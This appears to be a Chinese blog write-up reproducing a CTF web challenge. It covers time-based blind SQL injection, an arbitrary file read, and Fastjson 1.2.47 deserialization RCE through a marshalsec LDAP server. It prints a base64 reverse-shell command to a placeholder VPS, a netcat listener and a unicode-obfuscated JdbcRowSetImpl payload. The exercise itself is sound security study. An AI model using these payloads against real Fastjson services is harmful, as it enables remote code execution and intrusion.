前言
自己太菜了,VNCTF没做出来几个题,签到即退场。
考点
简单的SQL注入
fastjson Rce复现
复现
在Fastjson<=1.2.47存在fastjson反序列化漏洞。
关于Fastjson 1.2.47 可以看这篇文章 fastjson
这题根据提示Only the admin can get the right. 可以猜到用户名,password那里通过fuzz
可以发现'#
的时候会返回200,sleep,空格,benchmark等都被ban了,本题用的是笛卡尔积时间盲注。
payload:
1 | import requests |
跑出password,登录网站。
这个图片存放路径searchimage
存在一个任意文件读取。
1 |
|
通过pom.xml可以看到fastion
的依赖
再利用ldap
协议进行攻击。
利用自己的VPS开三个端口,并启动http协议,端口1用作恶意java类,端口2用作开启ldap
,端口3用作监听反弹shell
端口写一个java的exp
,并进行javac生成类
1 | public class Exploit { public Exploit() {try { |
YmFzaCAtaSA+Ji9kZXYvdGNwL3h4Lnh4Lnh4Lnh4L3BvcnQyIDA+JjEK
是一串反弹shell的base64。把这里改成自己的VPS地址和端口就好。
然后执行javac Exploit.java
产生class。
在这个文件夹上启动http服务:
1 | python3 -m http.server port1 |
端口2启动ldap
服务,先在github上下载 marshalsec
然后用maven
构建项目:
1 | mvn clean package -DskipTests |
进入targe
目录,开启ldap
服务:
1 | java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://x.x.x.x:port1#Exploit" port2 |
端口3执行监听反弹shell:
1 | nc -lvnp port3 |
payload:
1 | roleJson={"name":{"\u0040\u0074\u0079\u0070\u0065":"java.lang.Class","val":"\u0063\u006f\u006d\u002e\u0073\u0075\u006e\u002e\u0072\u006f\u0077\u0073\u0065\u0074\u002e\u004a\u0064\u0062\u0063\u0052\u006f\u0077\u0053\u0065\u0074\u0049\u006d\u0070\u006c"},"x":{"\u0040\u0074\u0079\u0070\u0065":"\u0063\u006f\u006d\u002e\u0073\u0075\u006e\u002e\u0072\u006f\u0077\u0073\u0065\u0074\u002e\u004a\u0064\u0062\u0063\u0052\u006f\u0077\u0053\u0065\u0074\u0049\u006d\u0070\u006c","dataSourceName":"ldap://x.x.x.x:port2/Exploit","\u0061\u0075\u0074\u006f\u0043\u006f\u006d\u006d\u0069\u0074":true}}} |
- 本文作者: y0lo
- 本文链接: http://example.com/2021/03/16/VNCTF-realezjvav复现/
- 版权声明: 本博客所有文章除特别声明外,均采用 MIT 许可协议。转载请注明出处!